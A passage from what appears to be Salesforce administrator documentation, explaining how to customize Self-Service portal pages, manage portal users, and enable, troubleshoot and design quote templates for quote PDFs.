1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings. 2. Make the necessary enhancements to any Self-Service pages. See the following for more information: Customize the Login Page on page 1310 Customize the Home Page on page 1311 Enable the Solutions Page on page 1312 Customize the Log a Case Page on page 1313 Customize the View Cases Page on page 1314 Customize the Suggested Solutions Page on page 1315 Note: You cannot create multiple versions of the same Self-Service portal page. However, you can customize each Self-Service page.

1308

Customize

Customizing Your Self-Service Pages

Salesforce Knowledge articles do not display in the Self-Service portal.

See Also:
Customizing Your Self-Service Look and Feel Customizing Your Self-Service Fonts and Colors Self-Service Jump Start

Self-Service Page Attributes


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

The following is a list of Self-Service page attributes which can be modified with the point-and-click editor: Page Attribute
Color Bold

Description The color of the text. The bolded value of the text. For example, whether the text is bolded or not. The size of the text. A specific style of type in which letters are displayed. A prioritized list of font family names for an element. Web browsers use the first font value recognized. The underline value of the text. For example, whether the text is underlined or not. The color of a border. The style of a border, such as dotted, dashed, or solid. The width of a border. The width of a bottom border. The amount of space between the border and the element.

Font size Font Font Family

Underline

Border Color Border Style Border Width Bottom Border Width Padding

1309

Customize

Customizing Your Self-Service Pages

Page Attribute
Padding Top

Description The amount of space to put between the top border and the element. The amount of space to put between the right border and the element. The amount of space to put between the left border and the element. The amount of space to put between the bottom border and the element. The height of the element. The height of a line. The background color of the element. The format in which the background image displays. For example, whether the image displays repeatedly in a horizontal or vertical format. The background image of the element. The relative or absolute URL which hosts the image must be inside the surrounding URL() syntax. For example, url(/sserv/img/tabBg_gray.gif).

Padding Right

Padding Left

Padding Bottom

Height Line Height Background Color Background Repeat

Background Image

See Also:
Customizing Your Self-Service Fonts and Colors

Customize the Login Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

You can customize the content of the Self-Service Login Page from the Self-Service Portal Pages related list. The Login Page is the first page that users see and prompts them for a username and password. Users can click Forgot your password? to automatically reset their passwords and receive a temporary password via email. Users are required to change their temporary password when logging in. For details on setting up the new password template, see New Password Template on page 1303.

1310

Customize

Customizing Your Self-Service Pages

1. To customize this page, click Edit next to the Login Page listed. 2. Check Show Message to display your message on the login page. 3. Insert a page message. Use the format toolbar to format your page message. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 445. Optionally, check Show HTML to view your page message in HTML code. 4. Click Save.

See Also:
Customizing Your Self-Service Pages Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Generating Login HTML Self-Service Jump Start

Customize the Home Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

You can customize the content of the Self-Service Home Page from the Self-Service Portal Pages related list. The Home Page is the first page that users see after they log in. 1. To customize this page, click Edit on the Home Page line. 2. You can enable the following features: Feature
Show Top Solutions List

Description Lists the titles of up to five solutions of your choice on the Home Page. Lists the open cases of the Self-Service user who is logged in. The message that will be displayed at the top of the home page. You can enter a message of up to 32,000 characters including any HTML tags.

Show My Open Cases

Show Message

1311

Customize

Customizing Your Self-Service Pages

3. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 445. Optionally, check Show HTML to view your page message in HTML code. 4. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 426. 5. Click Save. 6. To see how your Home Page will look, click Preview on the Home Page line. If you have customized the Self-Service style sheet, the preview shows your custom styles. Set the Top Solutions If you checked Show Top Solutions List from the Home page, click Add in the Solutions related list of the Self-Service Settings page to search for and select solutions to display on the Home page. You may only select solutions that have been marked Visible in Self-Service Portal.

See Also:
Customizing Your Self-Service Pages Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Generating Login HTML Self-Service Jump Start

Enable the Solutions Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

You can enable the Self-Service Solutions Page from the Self-Service Portal Pages related list. The Solutions Page allows users to see solutions that have been marked Visible in Self-Service Portal and any files attached to those solutions. 1. 2. 3. 4. To enable this page, click Edit on the Solutions Page line. Select the Show Solution Page checkbox. Check Show Message to display a message at the top of the Solutions Page. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 445. Optionally, check Show HTML to view your page message in HTML code. 5. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 426.

1312

Customize

Customizing Your Self-Service Pages

6. Click Save. 7. To see how your Solutions Page will look, click Preview on the Solutions Page line. If you have customized the Self-Service style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Generating Login HTML Self-Service Jump Start

Customize the Log a Case Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

You can enable and customize the Log a Case Page from the Self-Service Portal Pages related list. The Log a Case Page allows users to submit new cases to your customer support team. New cases submitted from this page will be automatically created in Self-Service and assigned to the support representative or queue defined by your case assignment rules. 1. 2. 3. 4. To allow users to submit cases from your Self-Service portal, click Edit on the Log a Case Page line. Select the Show Log a Case Page checkbox. Check Show Message to display a message on this page. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 445. Optionally, check Show HTML to view your page message in HTML code. 5. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 426. 6. Click Save. 7. To change the fields that display on the page, click the Page Layout link. For more information on changing the page layout, see Customizing Page Layouts on page 1191. Note: If a case field is tied to a validation rule, the rule can prevent Self-Service portal users from logging a case if they do not have access to fill in that field. Consider making those fields visible on the Log A Case page. 8. Click Save at any time to finish.

1313

Customize

Customizing Your Self-Service Pages

9. To see how your Log a Case Page will look, click Preview on the Log a Case Page line. If you have customized the Self-Service style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Generating Login HTML Self-Service Jump Start

Customize the View Cases Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

You can enable and customize the View Cases Page from the Self-Service Portal Pages related list. The View Cases Page allows users to view their open and closed cases, related solutions, completed activities, comments, and (optionally) to add comments to their cases. 1. Click Edit on the View Cases Page line. 2. Select the Show View Cases Page box to allow users to view their open and closed cases. 3. Select Add Comments to Cases to allow users to add comments to their cases. When a user adds a comment, an email is automatically sent to the case owner. 4. Select Add Attachments to Cases to allow users to upload files to their cases. When a user adds an attachment, an email is automatically sent to the case owner. When editing the page layout for the View Cases Page, add the Case Attachments related list to allow Self-Service users to view the files they've added to their cases. Be aware that this related list also shows any files that support reps have added to the case. 5. Check Show Message to display a message on this page. 6. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 445. Optionally, check Show HTML to view your page message in HTML code. 7. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 426. 8. Click Save.

1314

Customize

Customizing Your Self-Service Pages

9. To change the fields and related lists that display on the page, click the Page Layout link. For more information on changing the page layout, see Customizing Page Layouts on page 1191. Add the Case Activities related list to allow Self-Service users to view public, completed activities related to their cases. You also need to set field-level security to visible for the Visible in Self-Service Portal checkbox on activity page layouts so support reps will be able to display or hide completed activities in the Self-Service portal by clicking Make Public or Make Private in the case's Activity History related list. 10. Click Save at any time to finish. 11. To see how your View Cases Page will look, click Preview on the View Cases Page line. If you have customized the Self-Service style sheet, the preview shows your custom styles. Tip: To hide specific cases from users in the portal, you can deselect the Visible in Self-Service Portal checkbox on the case. Note: View Cases pages list cases in descending order via the Case Number field. Portal users cannot change this order; nor can they sort case columns in the Self-Service portal.

See Also:
Setting Up Self-Service Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Customizing Your Self-Service Pages Generating Login HTML Self-Service Jump Start

Customize the Suggested Solutions Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

You can enable and customize the Suggested Solutions Page from the Self-Service Portal Pages related list. The Suggested Solutions Page displays up to ten relevant solutions that may help users solve a particular case. When submitting a case or viewing cases in the Self-Service portal, users can view suggested solutions and close their cases themselves. See What are Suggested Solutions? on page 2851. To customize the Suggested Solutions Page:

1315

Customize

Generating Login HTML

1. Click Edit on the Suggested Solutions Page line. 2. Select Show Suggested Solutions Page to enable the page in the Self-Service portal. 3. Select a Self-Closed Case Status to show in the Status field for cases closed by Self-Service users. You must select at least one Closed value for this field. To customize the Status field, see Modifying Picklists on page 966. 4. Choose the maximum number of suggested solutions to display to users at one time. You can show a maximum of ten. 5. Select the Self-Closed Case Reasons that Self-Service users can choose from when they self-close their cases. To customize the values associated with the Case Reason field, see Modifying Picklists on page 966. 6. Check Show Message to display a message on this page. 7. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 445. Optionally, check Show HTML to view your page message in HTML code. 8. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 426. 9. Click Save. 10. To see how your Suggested Solutions Page will look, click Preview on the Suggested Solutions Page line. If you have customized the Self-Service style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Generating Login HTML Self-Service Jump Start

Generating Login HTML


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To generate Self-Service portal HTML: Manage Self-Service Portal

After enabling and customizing your Self-Service portal, generate the URL or HTML code where users will log in to your Self-Service portal. 1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings. 2. Click Generate Login HTML. 3. Insert the URL or HTML code provided into your website.

1316

Customize

Managing Self-Service Users

4. Click Finished to return to the Self-Service Settings page.

See Also:
Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Customizing Your Self-Service Pages Managing Self-Service Users Self-Service Jump Start

Managing Self-Service Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Self-Service users: To mass manage Self-Service users: Edit Self-Service Users Manage Self-Service Portal AND Edit Self-Service Users

Manage your Self-Service user information from a single place and make changes to more than one user at a time. Before your customers can take advantage of the Self-Service portal, you must enable Self-Service access for each contact. You can enable access for one contact at a time from the Contacts tab or for multiple contacts via the Self-Service setup pages. To enable Self-Service users individually from the Contacts tab, see Self-Service for Contacts on page 174. To enable multiple Self-Service users at once, see Enabling Multiple Self-Service Users on page 1318. To change Self-Service user information, see Editing Self-Service User Information on page 1319. To reset Self-Service user passwords, see Resetting Self-Service User Passwords on page 1319.

See Also:
Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Customizing Your Self-Service Pages Generating Login HTML Self-Service Jump Start

1317

Customize

Managing Self-Service Users

Enabling Multiple Self-Service Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Self-Service users: To mass manage Self-Service users: Edit Self-Service Users Manage Self-Service Portal AND Edit Self-Service Users

You can perform mass actions for Self-Service user management such as enabling Self-Service access for many contacts at once. Each contact must have an email address and must be associated with an account to be a Self-Service user. To enable new users for your Self-Service portal: 1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Users. 2. Click Enable New User(s). 3. Enter search criteria to compile a list of the contacts you want to enable and click Search. For instructions on filtering data, see Entering Filter Criteria on page 2645. 4. Select the contacts you want to enable and click Next. 5. Modify Self-Service user information as necessary. 6. Select the Super User checkbox to enable the contact as a Self-Service super user who can view case information, add comments, and upload attachments for all cases submitted by anyone in his or her company. 7. Click Save.

See Also:
Managing Self-Service Users

1318

Customize

Managing Self-Service Users

Editing Self-Service User Information


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Self-Service users: To mass manage Self-Service users: Edit Self-Service Users Manage Self-Service Portal AND Edit Self-Service Users

Edit Self-Service user information to keep user information updated. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Users. Select the users you want to change. Click Edit User(s). Make any necessary changes to these records. Click Save.

See Also:
Managing Self-Service Users

Resetting Self-Service User Passwords


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Self-Service users: To mass manage Self-Service users: Edit Self-Service Users Manage Self-Service Portal AND Edit Self-Service Users

If a Self-Service user loses his or her password, you can email a new password to him or her. To reset one or more Self-Service users passwords: 1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Users. 2. Select the users whose passwords you want to reset.

1319

Customize

Enabling Quotes

3. Click Reset Password(s). 4. Click OK.

See Also:
Managing Self-Service Users

ADMINISTERING QUOTES
Enabling Quotes
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable or disable Quotes: Customize Application

To enable Quotes for your organization: 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Quotes > Settings. Select Enable Quotes. Click Save. Select Opportunity Layout to display the Quotes related list on the standard opportunity page layout. Optionally, select Append to users' personal related list customization to add the Quotes related list to all opportunity page layouts users have customized. 6. Click Save to finish.

Disabling Quotes
Select Disable Quotes to disable the feature for your organization. Important: You can't disable quotes if your records have any references to quotes, quote line items, or quote PDFs from any application customizations, including formula fields, triggers, workflow rules, and approval processes. You must remove these references before you can disable quotes. You can't disable quotes if you have any quotes synced with an opportunity. You must first stop syncing all quotes before you can disable the feature.

Troubleshooting Quotes Syncing

1320

Customize

Troubleshooting Quotes Syncing

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To sync quotes: Create on quotes

You may get error messages if you try to sync quotes under certain conditions. If so, find your error below and learn how to solve the problem. This quote can't be synced because it has inactive or archived products. If the product isn't active, edit the product and select the Active check box. If the product has been archived, delete the product if the opportunity is not closed.

This quote can't be synced because it has an inactive or archived price book. If the price book is inactive, edit the price book and select the Active check box. If the price book has been archived, delete the price book if the opportunity is not closed.

This quote can't be synced because it has inactive or archived list prices. If the list price isn't active, edit the list price and select the Active check box for the list price. If the list price has been archived, delete the list price if the opportunity is not closed.

This quote can't be synced because it has an inactive currency. Activate the currency. This quote can't be synced because one or more of the schedules for the opportunity products have changed since the quote was created. Either create a new quote and sync that one, or open the product and delete the schedule, then recreate the schedule. The SyncedQuote field is read only within a trigger. Your organization may be using an Apex trigger that is attempting to modify the SyncedQuote field. The SyncedQuote field is read only and can't be modified with a trigger. Contact your system administrator to modify the trigger.

Quote Templates Overview

1321

Customize

Quote Templates Overview

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Watch a Demo (2 minutes) Use quote templates to design, preview, and activate custom templates for the quotes you send to your customers. Choose standard and custom fields from Quote and quote-related objects, such as Account and Opportunity, and arrange the data in groups or tables. You can also add and format rich-text content such as signature blocks and terms and conditions, display your company logo or other images, and create repeating headers and footers. Users select quote templates from their quote records, generate quote PDFs, and email them to their customers. The quote templates feature looks and works a lot like the enhanced page layout editor, so if you're familiar with editing page layouts, you'll find the template editor just as easy to use. Important: If you used quote templates during the Summer '10 beta release, you'll notice a change in how template logos and signature blocks work. The first time you create a template in the Winter '11 release, if you add any content to the header or footer, the logo and signature block you previously used won't be displayed. If the new template's header and footer have no content, the original logo and signature block will appear. If you create a configuration-only sandbox for your organization, templates that contain Text/Image fields cannot be opened for editing within the sandbox.

See Also:
Creating Quote Templates Emailing Quote PDFs Overview of Page Layouts and Field-Level Security

Creating Quote Templates

1322

Customize

Creating Quote Templates

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

1. 2. 3. 4.

Click Your Name > Setup > Customize > Quotes > Templates. Click New and select an existing template, such as Standard Template, on which to base your new template. Give your new template a name. On the template editor, drag the elements you want, and then fill in the details. If you want to add: One or more Quote fields or fields from related objects, use a section and add fields to it. Text that you can edit and format, such as terms and conditions, use Text/Image Field. An image, such as your company logo, use Text/Image Field. A table of Quote fields or fields from a different object, such as Quote Line Item, use a list.

5. 6. 7. 8.

Click Quick Save to save your changes and continue working on the template. Click Save and Preview to preview your template. Click Save when you're finished. Return to the Quote Templates page and click Activate. Tip: If you use Chatter, post an update to spread the word that the template is ready for use.

See Also:
Customizing Quote PDFs with Quote Templates Viewing and Editing Quote Templates Previewing Quote Templates

Customizing Quote PDFs with Quote Templates

1323

Customize

Customizing Quote PDFs with Quote Templates

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Use quote templates to design, preview, and activate custom templates for the quotes you send to your customers. Navigating the Quote Templates Editor The template editor has two parts: a palette at the top and a template layout below. The palette contains the elements you can add to the layout, including list and section, and fields that you can add to sections. Click beneath the palette to expand or collapse it. In the left column, select an object to display its fields on the palette. Use Quick Find to easily locate items on the palette.

Working with the Quote Templates Editor To add an element to the template, drag it from the palette to the layout. Use a section to add and arrange fields from the quote object. Use a list to create a table with fields from another object, such as quote line item. The Text/Image Field lets you enter text or upload an image, such as your company logo. Press CTRL+click to select multiple fields and SHIFT+click to select a range. To remove an element from the layout, drag it back to the palette, or hover over its title bar and click . When you drag a section, select Hide Title if you don't want the section's title to appear on the template or the PDF. For any section, (including a header or footer), you can change the number of columns, adjust field alignment, and hide or show field labels. Click and make the changes you want. To step backward or forward, click Undo and Redo. To change the properties of any component on the layout, double-click its title bar or click . To rename the template, click Quote Template Properties. To preview your template, click Save and Preview. To save your changes and continue editing the template, click Quick Save. To save your changes when you're finished editing the template, click Save. Don't navigate away from the template before clicking Save or you'll lose your changes.

See Also:
Quote Templates Overview Creating Quote Templates

1324

Customize

Viewing and Editing Quote Templates

Viewing and Editing Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

1. Click Your Name > Setup > Customize > Quotes > Templates. 2. Click Edit next to the template you want. 3. If you need to edit the template name, click Quote Template Properties and enter the new name in the Template Name field. Click OK. Note: You can't rename a quote template if you're using Salesforce Professional Edition.

4. You can: Add or edit sections (for fields), text, images, and lists as needed. Redesign the template header or footer. Change, hide, or show the title of a section, list, header, or footer after it's in place by clicking select or deselect Hide Title. Hide field labels in sections and the header and footer. Change the number of columns (one or two) in sections. Change field alignment (left or right) in sections. . Edit the title and

5. Click Save when you're finished. Alternately, you can save your changes in a copy of the original template by clicking Save As. Note: The Save As option isn't available in Salesforce Professional Edition. To make a copy of a template in Professional Edition, click New on the Quote Templates page then select the existing template that you want to duplicate.

See Also:
Adding Fields to Quote Templates Adding Lists to Quote Templates Adding Rich Text to Quote Templates Adding Images to Quote Templates Using Headers and Footers on Quote Templates Customizing Quote PDFs with Quote Templates

1325

Customize

Adding Fields to Quote Templates

Adding Fields to Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

On your quote template, you can display standard and custom fields from the quote object and these related objects: account, contact, opportunity, organization, and user. Use a Text/Image Field to display a graphic, such as your company logo, or text that can be formatted, such as a signature block. To add fields to a header or footer, just drag them into place. To add fields to the body of your template, drag a section component first. Note: In some cases, a field may not appear on the quote templates palette or on a PDF created from a template. If a user is unable to view or update a field because of field-level security settings, that field won't appear on PDFs created from a template, even if the template includes that field. Read-only fields will appear on PDFs. A field that appears on a quote page layout but does not have a value for a given quote will appear on the quote templates palette, but won't appear on PDFs created from that quote. Quote line item fields that don't contain data won't appear as columns in a list when a PDF is created, even if the template includes that field. For example, if no quote line items offer a discount, the Discount column won't appear, even if the list includes the Discount field. If a related list is not included on a quote page layout, it won't appear on the template palette or any PDFs for quotes that use that page layout.

Adding Fields to Headers and Footers 1. If you need to change the number of columns in your header or footer, click and select the number (one or two) that you want. 2. Drag the fields you want into the header or footer. Press CTRL+click to select multiple fields and SHIFT+click to select a range. 3. If you want to add rich text or an image, drag the Text/Image Field . 4. If you need to change field alignment within a column, click and select left or right alignment. 5. If you want to hide field labels, click and select the Hide checkbox. 6. Use the Blank Space field to add vertical space anywhere on the template. Adding Fields to the Template Body 1. Drag a section component from the palette to the template. 2. Enter a title for the section. Select Hide Title if you don't want the title to appear on the template or PDF. Click OK. 3. Select an object from the palette to display its fields.

1326

Customize

Adding Lists to Quote Templates

4. Drag the fields you want into the section. Press CTRL+click to select multiple fields and SHIFT+click to select a range. 5. If you want to add rich text or an image, drag the Text/Image Field. 6. If you need to change field alignment within a column, click and select left or right alignment. 7. If you want to hide field labels, click and select the Hide checkbox. 8. Use the Blank Space field to add vertical space anywhere on the template.

See Also:
Customizing Quote PDFs with Quote Templates Viewing and Editing Quote Templates Using Headers and Footers on Quote Templates Adding Rich Text to Quote Templates Adding Images to Quote Templates Field-Level Security Overview

Adding Lists to Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Use lists in your quote template to arrange and display fields from quote line item or any other standard or custom object that has a lookup relationship to the quote object. A list looks like a table, with field names appearing as columns. You can add lists to the body of your quote template but not to the header or footer. Note: In some cases, a field may not appear on the quote templates palette or on a PDF created from a template. If a user is unable to view or update a field because of field-level security settings, that field won't appear on PDFs created from a template, even if the template includes that field. Read-only fields will appear on PDFs. A field that appears on a quote page layout but does not have a value for a given quote will appear on the quote templates palette, but won't appear on PDFs created from that quote. Quote line item fields that don't contain data won't appear as columns in a list when a PDF is created, even if the template includes that field. For example, if no quote line items offer a discount, the Discount column won't appear, even if the list includes the Discount field. If a related list is not included on a quote page layout, it won't appear on the template palette or any PDFs for quotes that use that page layout.

1. Drag a list from the palette to the template.

1327

Customize

Adding Rich Text to Quote Templates

2. Enter a title for the list. Select Hide Title if you don't want the title to appear on the template or PDF. 3. In the Object field, select the object whose fields you want to appear in the list. 4. Use the Add and Remove arrows to move columns from the Available Fields list to the Selected Fields list and use the Up and Down arrows to change the order of the columns. A list can include up to 10 fields. 5. Click OK.

See Also:
Customizing Quote PDFs with Quote Templates Viewing and Editing Quote Templates Field-Level Security Overview

Adding Rich Text to Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Use the quote templates text/image field to add text you can format, such as your organization's address or terms and conditions. You can also insert images, like your company logo. You can use text/image fields in the body of your template, and also in the header and footer. Rich Text Restrictions Text formatting is not available in the Text/Image Field for Unicode languages such as Arabic and Japanese. The maximum number of characters you can use in the quote templates Text/Image Field is 32,000, which includes the hidden HTML characters used to format text. 1. Drag a Text/Image Field into place in the header, the footer, or any section in the body. 2. Type or paste your text into the field, then format it however you like. 3. Click OK.

1328

Customize

Adding Images to Quote Templates

Tip: Use a text/image field to create a signature block.

See Also:
Customizing Quote PDFs with Quote Templates Using Headers and Footers on Quote Templates Adding Images to Quote Templates Tips for Using Quote Templates Field-Level Security Overview

Adding Images to Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Use the quote templates text/image field to insert images, like your company logo. You can use text/image fields in the body of your template, and also in the header and footer. You can store images for uploading in either your own file system or in Salesforce CRM Content. If you store images on the Documents tab or the Static Resources page, you'll get a Web address you can use to insert the image. Note: If you need to insert an image from a public Web address outside the Salesforce application (such as your company's website), contact Salesforce and ask to have the public URL whitelisted for your organization. Image Size Considerations If you insert an image that's too large, it will be cropped when users create quote PDFs from the template. To prevent cropping, click Save and Preview after you insert an image, then resize the image if you need to. Inserting an Uploaded Image 1. If you want to use an image stored in Salesforce CRM Content, locate the image and download it to your local file directory. 2. Drag a Text/Image Field into place in the header, the footer, or any section in the body. 3. Select Hide Title if you don't want the title to appear on the template or PDF. 4. Click the image icon, then click Browse... and locate the image in your file directory. 5. Click Open and the image appears in the field. You can resize it by dragging the sizing handles, which show the image's height and width in pixels.

1329

Customize

Using Headers and Footers on Quote Templates

6. Click OK. 7. Click Save and Preview to see how the image will look in PDFs created from the template. Inserting an Image from a Salesforce Web Address 1. 2. 3. 4. If you need to, upload the image to the Documents tab or define a static resource. Drag a Text/Image Field into place in the header, the footer, or any section in the body. Select Hide Title if you don't want the title to appear on the template or PDF. Click OK. On the Documents tab or the Static Resources page, open the image's detail page, click View File, and copy its URL.

5. Return to the quote template editor and click in the title bar of the text/image field. 6. Click the image icon, then click the Web Address tab. 7. Paste the URL into the URL field, then click Insert. The image appears in the field. You can resize it by dragging the sizing handles, which show the image's height and width in pixels. 8. Click OK. 9. Click Save and Preview to see how the image will look in PDFs created from the template. Important: If the image is removed from the Documents tab or Static Resources page, where it is stored, the template displays a message that the image is not available. Restore the image, then open the template, delete the error message image, and repaste the URL.

See Also:
Customizing Quote PDFs with Quote Templates Using Headers and Footers on Quote Templates Adding Rich Text to Quote Templates Contributing Files to Salesforce CRM Content Uploading and Replacing Documents

Using Headers and Footers on Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Use headers and footers to show standard, repeating information on your quote template, such as your company logo, your company address, the date the quote was created, or the quote number. Headers and footers can span the width of the template or be divided into two equal columns. A header or footer is essentially a section: you can add fields to it and show or hide its title. You can't remove a header or footer or add more sections to it.

1330

Customize

Using Headers and Footers on Quote Templates

Note: In some cases, a field may not appear on the quote templates palette or on a PDF created from a template. If a user is unable to view or update a field because of field-level security settings, that field won't appear on PDFs created from a template, even if the template includes that field. Read-only fields will appear on PDFs. A field that appears on a quote page layout but does not have a value for a given quote will appear on the quote templates palette, but won't appear on PDFs created from that quote. Quote line item fields that don't contain data won't appear as columns in a list when a PDF is created, even if the template includes that field. For example, if no quote line items offer a discount, the Discount column won't appear, even if the list includes the Discount field. If a related list is not included on a quote page layout, it won't appear on the template palette or any PDFs for quotes that use that page layout. and select the number (one or two) that

1. If you need to change the number of columns in your header or footer, click you want.

Tip: To display an image that spans the width of a page, use a one-column header or footer. For terms and conditions text, use a one-column footer. 2. Select an object and drag the fields you want into the header or footer. Press CTRL+click to select multiple fields and SHIFT+click to select a range. If you want to use an image, such as your company logo, or include extended information, such as terms and conditions, use a Text/Image Field. 3. If you need to change field alignment within a column, click and select left or right alignment. 4. If you want to hide field labels, click and select the Hide checkbox. 5. Select Hide Title if you don't want the title to appear on the template or PDF. 6. Click OK.

See Also:
Customizing Quote PDFs with Quote Templates Adding Fields to Quote Templates Adding Rich Text to Quote Templates Adding Images to Quote Templates Tips for Using Quote Templates Field-Level Security Overview

Previewing Quote Templates

1331

Customize

Previewing Quote Templates

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Preview your quote templates to make sure the quote PDFs users create will look the way you want them to. Note: Preview shows templates in system administrator profile view. The preview and the template show any rich text and images you've added. Other data is simulated. 1. Open the template you want to preview. Edit the template if you need to. 2. Click Save and Preview. Important: Save and Preview saves changes to your template, so after you preview, you can't undo them.

3. In the Template Preview overlay, verify that the content and layout are correct. 4. Click Close.

See Also:
Creating Quote Templates Creating Quote PDFs

Tips for Using Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Upgrading Quote Templates from the Summer '10 Beta Release If you used quote templates during the Summer '10 beta release, you'll notice a change in how template logos and signature blocks work. The first time you create a template in the Winter '11 release, if you add any content to the header or footer, the logo and signature block you previously used won't be displayed. If the new template's header and footer have no content, the original logo and signature block will appear.

1332

Customize

Tips for Using Quote Templates

Understanding Template Field Names To help you understand the information you'll get when you select fields for your template, some field names provide additional information that does not appear on PDFs created from the template. Object User User User User Company Information Quote Documents Object Field Template Field Name PDF Field Name
Prepared By E-mail Phone Fax Company Address

First Name, Last Name Prepared By (Name) Email Phone Fax Address Prepared By (Email) Prepared By (Phone) Prepared By (Fax) Organization (Address)

Hidden. The date the PDF Quote PDF (Created was generated and saved in Date) the quote documents object.

Created Date

Creating a Totals Section Use a totals section to show grand total amounts for your quote. 1. Create the section. You have a couple of options. Select Standard Template when you create a new template. The standard template contains a totals section, and you can modify it as you wish. Drag a section onto the layout of any template, then drag total-related fields (such as Subtotal and Grand Total) to the right half of the section. Hide the title if you are placing the section directly beneath a list. and select right field alignment.

2. Click

Note: Fields within sections have different alignment than columns within lists, so if you place your totals section beneath a list, its field values will not line up beneath the rightmost list values. For example, your template might include a list of quote line items, including a Total Price column at the far right that shows the total for each line item. If you add a totals section beneath the list, and include Subtotal, Total Price, and Grand Total fields, their values will show the total of all line items, but the amounts will not line up beneath the list's Total Price column. Creating a Signature Block Use a signature block to create signature and date lines so your customers can sign off on their quotes. 1. Drag a Text/Image Field into the footer of your template. Use two columns for the footer if you want to right-align your signature block or create two. 2. Enter a label for each line you want to create. For example: Signature Name Title

1333

Customize

Managing Salesforce CRM Ideas

Date

